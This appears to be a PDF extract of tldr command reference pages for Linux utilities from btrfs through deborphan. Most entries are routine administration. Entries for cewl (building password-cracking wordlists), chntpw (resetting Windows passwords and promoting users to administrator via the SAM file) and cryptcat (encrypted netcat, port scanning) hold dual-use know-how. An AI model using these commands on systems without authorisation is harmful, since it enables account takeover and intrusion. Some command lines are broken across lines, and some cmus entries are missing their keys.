• Defragment a single file on a btrfs filesystem (avoid while a deduplication agent is


running):

sudo btrfs filesystem defragment -v {{path/to/file}}

• Defragment a directory recursively (does not cross subvolume boundaries):

sudo btrfs filesystem defragment -v -r {{path/to/directory}}

• Force syncing unwritten data blocks to disk(s):

sudo btrfs filesystem sync {{path/to/btrfs_mount}}

• Summarize disk usage for the files in a directory recursively:

sudo btrfs filesystem du --summarize {{path/to/directory}}


btrfs inspect-internal
Query internal information of a btrfs filesystem.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-inspect-


internal.

• Print superblock's information:

sudo btrfs inspect-internal dump-super {{path/to/partition}}

• Print superblock's and all of its copies' information:

sudo btrfs inspect-internal dump-super --all {{path/to/


partition}}

• Print filesystem's metadata information:

sudo btrfs inspect-internal dump-tree {{path/to/partition}}

• Print list of files in inode n-th:

sudo btrfs inspect-internal inode-resolve {{n}} {{path/to/


btrfs_mount}}

• Print list of files at a given logical address:

sudo btrfs inspect-internal logical-resolve


{{logical_address}} {{path/to/btrfs_mount}}

• Print stats of root, extent, csum and fs trees:

sudo btrfs inspect-internal tree-stats {{path/to/partition}}


btrfs property
Get, set, or list properties for a given btrfs filesystem object (files, directories,
subvolumes, filesystems, or devices).

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-property.

• List available properties (and descriptions) for the given btrfs object:

sudo btrfs property list {{path/to/btrfs_object}}

• Get all properties for the given btrfs object:

sudo btrfs property get {{path/to/btrfs_object}}

• Get the label property for the given btrfs filesystem or device:

sudo btrfs property get {{path/to/btrfs_filesystem}} label

• Get all object type-specific properties for the given btrfs filesystem or device:

sudo btrfs property get -t {{subvol|filesystem|inode|device}}


{{path/to/btrfs_filesystem}}

• Set the compression property for a given btrfs inode (either a file or directory):

sudo btrfs property set {{path/to/btrfs_inode}} compression


{{zstd|zlib|lzo|none}}
btrfs rescue
Try to recover a damaged btrfs filesystem.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-rescue.

• Rebuild the filesystem metadata tree (very slow):

sudo btrfs rescue chunk-recover {{path/to/partition}}

• Fix device size alignment related problems (e.g. unable to mount the filesystem
with super total bytes mismatch):

sudo btrfs rescue fix-device-size {{path/to/partition}}

• Recover a corrupted superblock from correct copies (recover the root of filesystem
tree):

sudo btrfs rescue super-recover {{path/to/partition}}

• Recover from an interrupted transactions (fixes log replay problems):

sudo btrfs rescue zero-log {{path/to/partition}}

• Create a /dev/btrfs-control control device when mknod is not installed:

sudo btrfs rescue create-control-device


btrfs restore
Try to salvage files from a damaged btrfs filesystem.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-restore.

• Restore all files from a btrfs filesystem to a given directory:

sudo btrfs restore {{path/to/btrfs_device}} {{path/to/


target_directory}}

• List (don't write) files to be restored from a btrfs filesystem:

sudo btrfs restore --dry-run {{path/to/btrfs_device}} {{path/


to/target_directory}}

• Restore files matching a given regex ([c]ase-insensitive) files to be restored from a


btrfs filesystem (all parent directories of target file(s) must match as well):

sudo btrfs restore --path-regex {{regex}} -c {{path/to/


btrfs_device}} {{path/to/target_directory}}

• Restore files from a btrfs filesystem using a specific root tree bytenr (see btrfs-
find-root):

sudo btrfs restore -t {{bytenr}} {{path/to/btrfs_device}}


{{path/to/target_directory}}

• Restore files from a btrfs filesystem (along with metadata, extended attributes, and
Symlinks), overwriting files in the target:

sudo btrfs restore --metadata --xattr --symlinks --overwrite


{{path/to/btrfs_device}} {{path/to/target_directory}}
btrfs scrub
Scrub btrfs filesystems to verify data integrity.

It is recommended to run a scrub once a month.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-scrub.

• Start a scrub:

sudo btrfs scrub start {{path/to/btrfs_mount}}

• Show the status of an ongoing or last completed scrub:

sudo btrfs scrub status {{path/to/btrfs_mount}}

• Cancel an ongoing scrub:

sudo btrfs scrub cancel {{path/to/btrfs_mount}}

• Resume a previously cancelled scrub:

sudo btrfs scrub resume {{path/to/btrfs_mount}}

• Start a scrub, but wait until the scrub finishes before exiting:

sudo btrfs scrub start -B {{path/to/btrfs_mount}}

• Start a scrub in quiet mode (does not print errors or statistics):

sudo btrfs scrub start -q {{path/to/btrfs_mount}}


btrfs subvolume
Manage btrfs subvolumes and snapshots.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-subvolume.

• Create a new empty subvolume:

sudo btrfs subvolume create {{path/to/new_subvolume}}

• List all subvolumes and snapshots in the specified filesystem:

sudo btrfs subvolume list {{path/to/btrfs_filesystem}}

• Delete a subvolume:

sudo btrfs subvolume delete {{path/to/subvolume}}

• Create a read-only snapshot of an existing subvolume:

sudo btrfs subvolume snapshot -r {{path/to/source_subvolume}}


{{path/to/target}}

• Create a read-write snapshot of an existing subvolume:

sudo btrfs subvolume snapshot {{path/to/source_subvolume}}


{{path/to/target}}

• Show detailed information about a subvolume:

sudo btrfs subvolume show {{path/to/subvolume}}


btrfs version
Display btrfs-progs version.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs.

• Display btrfs-progs version:

btrfs version

• Display help:

btrfs version --help


btrfs
A filesystem based on the copy-on-write (COW) principle for Linux.

Some subcommands such as btrfs device have their own usage documentation.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs.

• Create subvolume:

sudo btrfs subvolume create {{path/to/subvolume}}

• List subvolumes:

sudo btrfs subvolume list {{path/to/mount_point}}

• Show space usage information:

sudo btrfs filesystem df {{path/to/mount_point}}

• Enable quota:

sudo btrfs quota enable {{path/to/subvolume}}

• Show quota:

sudo btrfs qgroup show {{path/to/subvolume}}


bzegrep
Find extended regular expression patterns in bzip2 compressed files using egrep.

More information: https://manned.org/bzegrep.

• Search for extended regular expressions (supporting ?, +, {}, () and |) in a


compressed file (case-sensitive):

bzegrep "{{search_pattern}}" {{path/to/file}}

• Search for extended regular expressions (supporting ?, +, {}, () and |) in a


compressed file (case-insensitive):

bzegrep --ignore-case "{{search_pattern}}" {{path/to/file}}

• Search for lines that do not match a pattern:

bzegrep --invert-match "{{search_pattern}}" {{path/to/file}}

• Print file name and line number for each match:

bzegrep --with-filename --line-number "{{search_pattern}}"


{{path/to/file}}

• Search for lines matching a pattern, printing only the matched text:

bzegrep --only-matching "{{search_pattern}}" {{path/to/file}}

• Recursively search files in a bzip2 compressed tar archive for a pattern:

bzegrep --recursive "{{search_pattern}}" {{path/to/file}}


bzfgrep
Find any fixed strings separated by new lines in bzip2 compressed files using fgrep.

More information: https://manned.org/bzfgrep.

• Search for lines matching the list of search strings separated by new lines in a
compressed file (case-sensitive):

bzfgrep "{{search_string}}" {{path/to/file}}

• Search for lines matching the list of search strings separated by new lines in a
compressed file (case-insensitive):

bzfgrep --ignore-case "{{search_string}}" {{path/to/file}}

• Search for lines that do not match the list of search strings separated by new lines
in a compressed file:

bzfgrep --invert-match "{{search_string}}" {{path/to/file}}

• Print file name and line number for each match:

bzfgrep --with-filename --line-number "{{search_string}}"


{{path/to/file}}

• Search for lines matching a pattern, printing only the matched text:

bzfgrep --only-matching "{{search_string}}" {{path/to/file}}

• Recursively search files in a bzip2 compressed tar archive for the given list of
strings:

bzfgrep --recursive "{{search_string}}" {{path/to/file}}


cal
Prints calendar information, with the current day highlighted.

More information: https://manned.org/cal.

• Display a calendar for the current month:

cal

• Display previous, current and next month:

cal -3

• Use Monday as the first day of the week:

cal --monday

• Display a calendar for a specific year (4 digits):

cal {{year}}

• Display a calendar for a specific month and year:

cal {{month}} {{year}}


calc
An interactive arbitrary-precision calculator on the terminal.

More information: https://github.com/lcn2/calc.

• Start calc in interactive mode:

calc

• Perform a calculation in non-interactive mode:

calc -p '{{85 * (36 / 4)}}'


calcurse
A text-based calendar and scheduling application for the command-line.

More information: https://calcurse.org.

• Start calcurse on interactive mode:

calcurse

• Print the appointments and events for the current day and exit:

calcurse --appointment

• Remove all local calcurse items and import remote objects:

calcurse-caldav --init=keep-remote

• Remove all remote objects and push local calcurse items:

calcurse-caldav --init=keep-local

• Copy local objects to the CalDAV server and vice versa:

calcurse-caldav --init=two-way
ceph
A unified storage system.

More information: https://ceph.io.

• Check cluster health status:

ceph status

• Check cluster usage stats:

ceph df

• Get the statistics for the placement groups in a cluster:

ceph pg dump --format {{plain}}

• Create a storage pool:

ceph osd pool create {{pool_name}} {{page_number}}

• Delete a storage pool:

ceph osd pool delete {{pool_name}}

• Rename a storage pool:

ceph osd pool rename {{current_name}} {{new_name}}

• Self-repair pool storage:

ceph pg repair {{pool_name}}


certbot
The Let's Encrypt Agent for automatically obtaining and renewing TLS certificates.

Successor to letsencrypt.

More information: https://certbot.eff.org/docs/using.html.

• Obtain a new certificate via webroot authorization, but do not install it


automatically:

sudo certbot certonly --webroot --webroot-path {{path/to/


webroot}} --domain {{subdomain.example.com}}

• Obtain a new certificate via nginx authorization, installing the new certificate
automatically:

sudo certbot --nginx --domain {{subdomain.example.com}}

• Obtain a new certificate via apache authorization, installing the new certificate
automatically:

sudo certbot --apache --domain {{subdomain.example.com}}

• Renew all Let's Encrypt certificates that expire in 30 days or less (don't forget to
restart any servers that use them afterwards):

sudo certbot renew

• Simulate the obtaining of a new certificate, but don't actually save any new
certificates to disk:

sudo certbot --webroot --webroot-path {{path/to/webroot}} --


domain {{subdomain.example.com}} --dry-run

• Obtain an untrusted test certificate instead:

sudo certbot --webroot --webroot-path {{path/to/webroot}} --


domain {{subdomain.example.com}} --test-cert
cewl
URL spidering tool for making a cracking wordlist from web content.

More information: https://digi.ninja/projects/cewl.php.

• Create a wordlist file from the given URL up to 2 links depth:

cewl --depth {{2}} --write {{path/to/wordlist.txt}} {{url}}

• Output an alphanumeric wordlist from the given URL with words of minimum 5
characters:

cewl --with-numbers --min_word_length {{5}} {{url}}

• Output a wordlist from the given URL in debug mode including email addresses:

cewl --debug --email {{url}}

• Output a wordlist from the given URL using HTTP Basic or Digest authentication:

cewl --auth_type {{basic|digest}} --auth_user {{username}} --


auth_pass {{password}} {{url}}

• Output a wordlist from the given URL through a proxy:

cewl --proxy_host {{host}} --proxy_port {{port}} {{url}}


cfdisk
A program for managing partition tables and partitions on a hard disk using a curses UI.

More information: https://manned.org/cfdisk.

• Start the partition manipulator with a specific device:

cfdisk {{/dev/sdX}}

• Create a new partition table for a specific device and manage it:

cfdisk --zero {{/dev/sdX}}


cgcreate
Create cgroups, used to limit, measure, and control resources used by processes.

cgroups types can be memory, cpu, net_cls, etc.

More information: https://manned.org/cgcreate.

• Create a new group:

cgcreate -g {{group_type}}:{{group_name}}

• Create a new group with multiple cgroup types:

cgcreate -g {{group_type1}},{{group_type2}}:{{group_name}}

• Create a subgroup:

mkdir /sys/fs/cgroup/{{group_type}}/{{group_name}}/
{{subgroup_name}}
cgexec
Limit, measure, and control resources used by processes.

Multiple cgroup types (aka controllers) exist, such as cpu, memory, etc.

More information: https://manned.org/cgexec.

• Execute a process in a given cgroup with given controller:

cgexec -g {{controller}}:{{cgroup_name}} {{process_name}}


cgroups
Cgroups aka control groups is a Linux kernel feature for limiting, mesuring, and
controling resource usage by processes.

More information: https://www.kernel.org/doc/Documentation/cgroup-v2.txt.

• Show the tldr page for cgclassify:

tldr cgclassify

• Show the tldr page for cgcreate:

tldr cgcreate

• Show the tldr page for cgexec:

tldr cgexec
chage
Change user account and password expiry information.

More information: https://manned.org/chage.

• List password information for the user:

chage --list {{username}}

• Enable password expiration in 10 days:

sudo chage --maxdays {{10}} {{username}}

• Disable password expiration:

sudo chage --maxdays {{-1}} {{username}}

• Set account expiration date:

sudo chage --expiredate {{YYYY-MM-DD}} {{username}}

• Force user to change password on next log in:

sudo chage --lastday {{0}} {{username}}


chattr
Change attributes of files or directories.

More information: https://manned.org/chattr.

• Make a file or directory immutable to changes and deletion, even by superuser:

chattr +i {{path/to/file_or_directory}}

• Make a file or directory mutable:

chattr -i {{path/to/file_or_directory}}

• Recursively make an entire directory and contents immutable:

chattr -R +i {{path/to/directory}}
chcon
Change SELinux security context of a file or files/directories.

More information: https://www.gnu.org/software/coreutils/chcon.

• View security context of a file:

ls -lZ {{path/to/file}}

• Change the security context of a target file, using a reference file:

chcon --reference={{reference_file}} {{target_file}}

• Change the full SELinux security context of a file:

chcon {{user}}:{{role}}:{{type}}:{{range/level}} {{filename}}

• Change only the user part of SELinux security context:

chcon -u {{user}} {{filename}}

• Change only the role part of SELinux security context:

chcon -r {{role}} {{filename}}

• Change only the type part of SELinux security context:

chcon -t {{type}} {{filename}}

• Change only the range/level part of SELinux security context:

chcon -l {{range/level}} {{filename}}


chcpu
Enable/disable a system's CPUs.

More information: https://manned.org/chcpu.

• Disable CPUs via a list of CPU ID numbers:

chcpu -d {{1,3}}

• Enable a set of CPUs via a range of CPU ID numbers:

chcpu -e {{1-10}}
check-language-support
Display a list of missing language packages on Ubuntu.

More information: https://manpages.ubuntu.com/manpages/latest/man1/check-


language-support.html.

• Display a list of missing language packages based on installed software and


enabled locales:

check-language-support

• List packages for a specific locale:

check-language-support --language {{en}}

• Display installed packages as well as missing ones:

check-language-support --show-installed
check-support-status
Identify installed Debian packages for which support has had to be limited or
prematurely ended.

More information: https://manpages.debian.org/latest/debian-security-support/check-


support-status.html.

• Display packages whose support is limited, has already ended or will end earlier
than the distribution's end of life:

check-support-status

• Display only packages whose support has ended:

check-support-status --type {{ended}}

• Skip printing a headline:

check-support-status --no-heading
checkinstall
Track the local installation of a software package, and produce a binary package which
can be used with a system's native package manager.

More information: http://checkinstall.izto.org.

• Create and install a package with default settings:

sudo checkinstall --default

• Create a package but don't install it:

sudo checkinstall --install={{no}}

• Create a package without documentation:

sudo checkinstall --nodoc

• Create a package and set the name:

sudo checkinstall --pkgname {{package}}

• Create a package and specify where to save it:

sudo checkinstall --pakdir {{path/to/directory}}


chfn
Update finger info for a user.

More information: https://manned.org/chfn.

• Update a user's "Name" field in the output of finger:

chfn -f {{new_display_name}} {{username}}

• Update a user's "Office Room Number" field for the output of finger:

chfn -o {{new_office_room_number}} {{username}}

• Update a user's "Office Phone Number" field for the output of finger:

chfn -p {{new_office_telephone_number}} {{username}}

• Update a user's "Home Phone Number" field for the output of finger:

chfn -h {{new_home_telephone_number}} {{username}}


chkconfig
Manage the runlevel of services on CentOS 6.

More information: https://manned.org/chkconfig.

• List services with runlevel:

chkconfig --list

• Show a service's runlevel:

chkconfig --list {{ntpd}}

• Enable service at boot:

chkconfig {{sshd}} on

• Enable service at boot for runlevels 2, 3, 4, and 5:

chkconfig --level {{2345}} {{sshd}} on

• Disable service at boot:

chkconfig {{ntpd}} off

• Disable service at boot for runlevel 3:

chkconfig --level {{3}} {{ntpd}} off


chntpw
A utility that can edit windows registry, reset user password, promote users to
administrator by modifying the Windows SAM.

Boot target machine with live cd like Kali Linux and run with elevated privileges.

More information: http://pogostick.net/~pnh/ntpasswd.

• List all users in the SAM file:

chntpw -l {{path/to/sam_file}}

• Edit [u]ser interactively:

chntpw -u {{username}} {{path/to/sam_file}}

• Use chntpw [i]nteractively:

chntpw -i {{path/to/sam_file}}
chronyc
Query the Chrony NTP daemon.

More information: https://chrony.tuxfamily.org/doc/4.0/chronyc.html.

• Start chronyc in interactive mode:

chronyc

• Display tracking stats for the Chrony daemon:

chronyc tracking

• Print the time sources that Chrony is currently using:

chronyc sources

• Display stats for sources currently used by chrony daemon as a time source:

chronyc sourcestats

• Step the system clock immediately, bypassing any slewing:

chronyc makestep

• Display verbose information about each NTP source:

chronyc ntpdata
chrt
Manipulate the real-time attributes of a process.

More information: https://man7.org/linux/man-pages/man1/chrt.1.html.

• Display attributes of a process:

chrt --pid {{PID}}

• Display attributes of all threads of a process:

chrt --all-tasks --pid {{PID}}

• Display the min/max priority values that can be used with chrt:

chrt --max

• Set the scheduling policy for a process:

chrt --pid {{PID}} --{{deadline|idle|batch|rr|fifo|other}}


clamav
Open-source anti-virus program.

Designed especially for e-mail scanning on mail gateways, but can be used in other
contexts.

More information: https://www.clamav.net.

• Update virus definitions:

freshclam

• Scan a file for viruses:

clamscan {{path/to/file}}

• Scan directories recursively and print out infected files:

clamscan --recursive --infected {{path/to/directory}}

• Scan directories recursively and move them into quarantine:

clamscan --recursive --move={{directory}}


cmus
Command-line Music Player.

Use arrow keys to navigate, <enter/return> to select, and numbers 1-8 switch
between different views.

More information: https://cmus.github.io.

• Open cmus into the specified directory (this will become your new working
directory):

cmus {{path/to/directory}}

• Add file/directory to library:

:add {{path/to/file_or_directory}}

• Pause/unpause current song:

• Toggle shuffle mode on/off:

• Quit cmus:

q
collectd
System statistics collection daemon.

More information: https://collectd.org/.

• Show usage help, including the program version:

collectd -h

• Test the configuration file and then exit:

collectd -t

• Test plugin data collection functionality and then exit:

collectd -T

• Start collectd:

collectd

• Specify a custom configuration file location:

collectd -C {{path/to/file}}

• Specify a custom PID file location:

collectd -P {{path/to/file}}

• Don't fork into the background:

collectd -f
colrm
Remove columns from stdin.

More information: https://manned.org/colrm.

• Remove first column of stdin:

colrm {{1 1}}

• Remove from 3rd column till the end of each line:

colrm {{3}}

• Remove from the 3rd column till the 5th column of each line:

colrm {{3 5}}


compose
An alias to a run-mailcap's action compose.

Originally run-mailcap is used to mime-type/file.

More information: https://manned.org/compose.

• Compose action can be used to compose any existing file or new on default
mailcap edit tool:

compose {{filename}}

• With run-mailcap:

run-mailcap --action=compose {{filename}}


compsize
Calculate the compression ratio of a set of files on a btrfs filesystem.

See also btrfs filesystem for recompressing a file by defragmenting it.

More information: https://github.com/kilobyte/compsize.

• Calculate the current compression ratio for a file or directory:

sudo compsize {{path/to/file_or_directory}}

• Don't traverse filesystem boundaries:

sudo compsize --one-file-system {{path/to/file_or_directory}}

• Show raw byte counts instead of human-readable sizes:

sudo compsize --bytes {{path/to/file_or_directory}}


conky
Light-weight system monitor for X.

More information: https://github.com/brndnmtthws/conky.

• Launch with default, built-in config:

conky

• Create a new default config:

conky -C > ~/.conkyrc

• Launch Conky with a given config file:

conky -c {{path/to/config}}

• Start in the background (daemonize):

conky -d

• Align Conky on the desktop:

conky -a {{{top,bottom,middle}_{left,right,middle}}}

• Pause for 5 seconds at startup before launching:

conky -p {{5}}
coredumpctl
Retrieve and process saved core dumps and metadata.

More information: https://www.freedesktop.org/software/systemd/man/


coredumpctl.html.

• List all captured core dumps:

coredumpctl list

• List captured core dumps for a program:

coredumpctl list {{program}}

• Show information about the core dumps matching a program with PID:

coredumpctl info {{PID}}

• Invoke debugger using the last core dump of a program:

coredumpctl debug {{program}}

• Extract the last core dump of a program to a file:

coredumpctl --output={{path/to/file}} dump {{program}}


cp
Copy files and directories.

More information: https://www.gnu.org/software/coreutils/cp.

• Copy a file to another location:

cp {{path/to/source_file.ext}} {{path/to/target_file.ext}}

• Copy a file into another directory, keeping the filename:

cp {{path/to/source_file.ext}} {{path/to/
target_parent_directory}}

• Recursively copy a directory's contents to another location (if the destination


exists, the directory is copied inside it):

cp -r {{path/to/source_directory}} {{path/to/
target_directory}}

• Copy a directory recursively, in verbose mode (shows files as they are copied):

cp -vr {{path/to/source_directory}} {{path/to/


target_directory}}

• Copy text files to another location, in interactive mode (prompts user before
overwriting):

cp -i {{*.txt}} {{path/to/target_directory}}

• Follow symbolic links before copying:

cp -L {{link}} {{path/to/target_directory}}

• Use the full path of source files, creating any missing intermediate directories
when copying:

cp --parents {{source/path/to/file}} {{path/to/target_file}}


cpufreq-aperf
Calculate the average CPU frequency over a time period.

Requires root privileges.

More information: https://manned.org/cpufreq-aperf.

• Start calculating, defaulting to all CPU cores and 1 second refresh interval:

sudo cpufreq-aperf

• Start calculating for CPU 1 only:

sudo cpufreq-aperf -c {{1}}

• Start calculating with a 3 second refresh interval for all CPU cores:

sudo cpufreq-aperf -i {{3}}

• Calculate only once:

sudo cpufreq-aperf -o
cpufreq-info
A tool to show CPU frequency information.

More information: https://manned.org/cpufreq-info.

• Show CPU frequency information for all CPUs:

cpufreq-info

• Show CPU frequency information for the specified CPU:

cpufreq-info -c {{cpu_number}}

• Show the allowed minimum and maximum CPU frequency:

cpufreq-info -l

• Show the current minimum and maximum CPU frequency and policy in table
format:

cpufreq-info -o

• Show available CPU frequency policies:

cpufreq-info -g

• Show current CPU work frequency in a human-readable format, according to the


cpufreq kernel module:

cpufreq-info -f -m

• Show current CPU work frequency in a human-readable format, by reading it from


hardware (only available to root):

sudo cpufreq-info -w -m
cpufreq-set
A tool to modify CPU frequency settings.

The frequency value should range between the output of command cpufreq-info -
l.

More information: https://manned.org/cpufreq-set.

• Set the CPU frequency policy of CPU 1 to "userspace":

sudo cpufreq-set -c {{1}} -g {{userspace}}

• Set the current minimum CPU frequency of CPU 1:

sudo cpufreq-set -c {{1}} --min {{min_frequency}}

• Set the current maximum CPU frequency of CPU 1:

sudo cpufreq-set -c {{1}} --max {{max_frequency}}

• Set the current work frequency of CPU 1:

sudo cpufreq-set -c {{1}} -f {{work_frequency}}


cpuid
Display detailed information about all CPUs.

More information: http://etallen.com/cpuid.html.

• Display information for all CPUs:

cpuid

• Display information only for the current CPU:

cpuid -1

• Display raw hex information with no decoding:

cpuid -r
cpulimit
A tool to throttle the CPU usage of other processes.

More information: http://cpulimit.sourceforge.net/.

• Limit an existing process with PID 1234 to only use 25% of the CPU:

cpulimit --pid {{1234}} --limit {{25%}}

• Limit an existing program by its executable name:

cpulimit --exe {{program}} --limit {{25}}

• Launch a given program and limit it to only use 50% of the CPU:

cpulimit --limit {{50}} -- {{program arg1 arg2 ...}}

• Launch a program, limit its CPU usage to 50% and run cpulimit in the background:

cpulimit --limit {{50}} --background -- {{program}}

• Kill its process if the program's CPU usage goes over 50%:

cpulimit --limit 50 --kill -- {{program}}

• Throttle both it and its child processes so that none go about 25% CPU:

cpulimit --limit {{25}} --monitor-forks -- {{program}}


create_ap
Create an AP (Access Point) at any channel.

More information: https://github.com/oblique/create_ap.

• Create an open network with no passphrase:

create_ap {{wlan0}} {{eth0}} {{access_point_ssid}}

• Use a WPA + WPA2 passphrase:

create_ap {{wlan0}} {{eth0}} {{access_point_ssid}}


{{passphrase}}

• Create an access point without Internet sharing:

create_ap -n {{wlan0}} {{acces_point_ssid}} {{passphrase}}

• Create a bridged network with Internet sharing:

create_ap -m bridge {{wlan0}} {{eth0}} {{access_point_ssid}}


{{passphrase}}

• Create a bridged network with Internet sharing and a pre-configured bridge


interface:

create_ap -m bridge {{wlan0}} {{br0}} {{access_point_ssid}}


{{passphrase}}

• Create an access port for Internet sharing from the same Wi-Fi interface:

create_ap {{wlan0}} {{wlan0}} {{access_point_ssid}}


{{passphrase}}

• Choose a different Wi-Fi adapter driver:

create_ap --driver {{wifi_adapter}} {{wlan0}} {{eth0}}


{{access_point_ssid}} {{passphrase}}
cryptcat
Cryptcat is netcat with encryption capabilities.

More information: http://cryptcat.sourceforge.net.

• [l]isten on a specified [p]ort and print any data received:

cryptcat -k {{password}} -l -p {{port}}

• Connect to a certain port:

cryptcat -k {{password}} {{ip_address}} {{port}}

• Set a timeout [w]:

cryptcat -k {{password}} -w {{timeout_in_seconds}}


{{ip_address}} {{port}}

• Scan [z] the open ports of a specified host:

cryptcat -v -z {{ip_address}} {{port}}

• Act as proxy and forward data from a local TCP port to the given remote host:

cryptcat -k {{password}} -l -p {{local_port}} | cryptcat -k


{{password}} {{hostname}} {{remote_port}}
cryptsetup
Manage plain dm-crypt and LUKS (Linux Unified Key Setup) encrypted volumes.

More information: https://gitlab.com/cryptsetup/cryptsetup/.

• Initialize a LUKS volume (overwrites all data on the partition):

cryptsetup luksFormat {{/dev/sda1}}

• Open a LUKS volume and create a decrypted mapping at /dev/mapper/


{{target}}:

cryptsetup luksOpen {{/dev/sda1}} {{target}}

• Remove an existing mapping:

cryptsetup luksClose {{target}}

• Change the LUKS volume's passphrase:

cryptsetup luksChangeKey {{/dev/sda1}}


csplit
Split a file into pieces.

This generates files named "xx00", "xx01", and so on.

More information: https://www.gnu.org/software/coreutils/csplit.

• Split a file at lines 5 and 23:

csplit {{file}} {{5}} {{23}}

• Split a file every 5 lines (this will fail if the total number of lines is not divisible by
5):

csplit {{file}} {{5}} {*}

• Split a file every 5 lines, ignoring exact-division error:

csplit -k {{file}} {{5}} {*}

• Split a file at line 5 and use a custom prefix for the output files:

csplit {{file}} {{5}} -f {{prefix}}

• Split a file at a line matching a regular expression:

csplit {{file}} /{{regular_expression}}/


ctr
Manage containerd containers and images.

More information: https://containerd.io.

• List all containers (running and stopped):

ctr containers list

• List all images:

ctr images list

• Pull an image:

ctr images pull {{image}}

• Tag an image:

ctr images tag {{souce_image}}:{{source_tag}}


{{target_image}}:{{target_tag}}
ctrlaltdel
Utility to control what happens when CTRL+ALT+DEL is pressed.

• Get current setting:

ctrlaltdel

• Set CTRL+ALT+DEL to reboot immediately, without any preparation:

sudo ctrlaltdel hard

• Set CTRL+ALT+DEL to reboot "normally", giving processes a chance to exit first


(send SIGINT to PID1):

sudo ctrlaltdel soft


cuyo
Tetris like game.

More information: https://www.karimmi.de/cuyo/.

• Start a new game:

cuyo

• Navigate the piece horizontally:

{{A|D}} OR {{Left|Right}} arrow key

• Turn the piece:

{{W|Up arrow key}}

• Hard drop the piece:

{{S|Down arrow key}}


daemonize
Run a command (that does not daemonize itself) as a Unix daemon.

More information: http://software.clapper.org/daemonize/.

• Run a command as a daemon:

daemonize {{command}} {{command_arguments}}

• Write the PID to the specified file:

daemonize -p {{path/to/pidfile}} {{command}}


{{command_arguments}}

• Use a lock file to ensure that only one instance runs at a time:

daemonize -l {{path/to/lockfile}} {{command}}


{{command_arguments}}

• Use the specified user account:

sudo daemonize -u {{user}} {{command}} {{command_arguments}}


datamash
Tool to perform basic numeric, textual and statistical operations on input textual data
files.

More information: http://www.gnu.org/software/datamash/.

• Get max, min, mean and median of a single column of numbers:

seq 3 | datamash max 1 min 1 mean 1 median 1

• Get the mean of a single column of float numbers (floats must use "," and not "."):

echo -e '1.0\n2.5\n3.1\n4.3\n5.6\n5.7' | tr '.' ',' |


datamash mean 1

• Get the mean of a single column of numbers with a given decimal precision:

echo -e '1\n2\n3\n4\n5\n5' | datamash -R


{{number_of_decimals_wanted}} mean 1

• Get the mean of a single column of numbers ignoring "Na" and "NaN" (literal)
strings:

echo -e '1\n2\nNa\n3\nNaN' | datamash --narm mean 1


dbus-daemon
The D-Bus message daemon, allowing multiple programs to exchange messages.

More information: https://www.freedesktop.org/wiki/Software/dbus/.

• Run the daemon with a configuration file:

dbus-daemon --config-file {{path/to/file}}

• Run the daemon with the standard per-login-session message bus configuration:

dbus-daemon --session

• Run the daemon with the standard systemwide message bus configuration:

dbus-daemon --system

• Set the address to listen on and override the configuration value for it:

dbus-daemon --address {{address}}

• Output the process ID to stdout:

dbus-daemon --print-pid

• Force the message bus to write to the system log for messages:

dbus-daemon --syslog
dconf write
Write a value to a dconf database path.

More information: https://developer.gnome.org/dconf.

• Write a string to a dconf path (note the nested quotes):

dconf write {{/example/dconf/path}} "'{{Example Value}}'"

• Write a boolean to a dconf path:

dconf write {{/example/dconf/path}} {{true|false}}

• Write an integer to a dconf path:

dconf write {{/example/dconf/path}} {{16}}

• Write an array to a dconf path:

dconf write {{/example/dconf/path}} "[{{'My First Value', 'My


Second Value'}}]"

• Write an empty array to a dconf path:

dconf write {{/example/dconf/path}} "@as []"


dconf
Simple tool for manipulating dconf databases.

See also dconf write.

More information: https://developer.gnome.org/dconf.

• Print the value of a dconf path:

dconf read {{/example/dconf/path}}

• List contents of a dconf path:

dconf list {{/example/dconf/path}}

• Watch for dconf database changes in a path and subpaths:

dconf watch {{/example/dconf/path}}


ddcutil
Control the settings of connected displays via DDC/CI.

This command requires the kernel module i2c-dev to be loaded. See also: modprobe.

More information: https://www.ddcutil.com.

• List all compatible displays:

ddcutil detect

• Change the brightness (option 0x10) of display 1 to 50%:

ddcutil --display {{1}} setvcp {{10}} {{50}}

• Increase the contrast (option 0x12) of display 1 by 5%:

ddcutil -d {{1}} setvcp {{12}} {{+}} {{5}}

• Read the settings of display 1:

ddcutil -d {{1}} getvcp {{ALL}}


ddrescue
Data recovery tool that reads data from damaged block devices.

More information: https://www.gnu.org/software/ddrescue/.

• Take an image of a device, creating a log file:

sudo ddrescue {{/dev/sdb}} {{path/to/image.dd}} {{path/to/


log.txt}}

• Clone Disk A to Disk B, creating a log file:

sudo ddrescue --force --no-scrape {{/dev/sdX}} {{/dev/sdY}}


{{path/to/log.txt}}
debchange
Tool for maintenance of the debian/changelog file in a Debian source package.

More information: https://manpages.debian.org/debchange.

• Add a new version for a non-maintainer upload to the changelog:

debchange --nmu

• Add a changelog entry to the current version:

debchange --append

• Add a changelog entry to close the bug with specified ID:

debchange --closes {{bug_id}}


debman
Read man pages from uninstalled packages.

More information: https://manpages.debian.org/latest/debian-goodies/debman.1.html.

• Read a man page for a command that is provided by a specified package name:

debman -p {{package_name}} {{command_name}}

• Specify a package version to download:

debman -p {{package_name}}={{version}} {{command_name}}

• Read a man page in a .deb file:

debman -f {{path/to/filename.deb}} {{command_name}}


debootstrap
Create a basic Debian system.

More information: https://wiki.debian.org/Debootstrap.

• Create a Debian stable release system inside the debian-root directory:

sudo debootstrap stable {{path/to/debian-root/}} http://


deb.debian.org/debian

• Create a minimal system including only required packages:

sudo debootstrap --variant=minbase stable {{path/to/debian-


root/}}

• Create an Ubuntu 20.04 system inside the focal-root directory with a local
mirror:

sudo debootstrap focal {{path/to/focal-root/}} {{file:///


path/to/mirror/}}

• Switch to a bootstrapped system:

sudo chroot {{path/to/root}}

• List available releases:

ls /usr/share/debootstrap/scripts/
deborphan
Display orphan packages on operating systems using the APT package manager.

More information: https://manpages.debian.org/latest/deborphan/deborphan.html.

• Display library packages (from the "libs" section of the package repository) which
are not required by another package:

deborphan

• List orphan packages from the "libs" section as well as orphan packages that have a
name that looks like a library name:

deborphan --guess-all
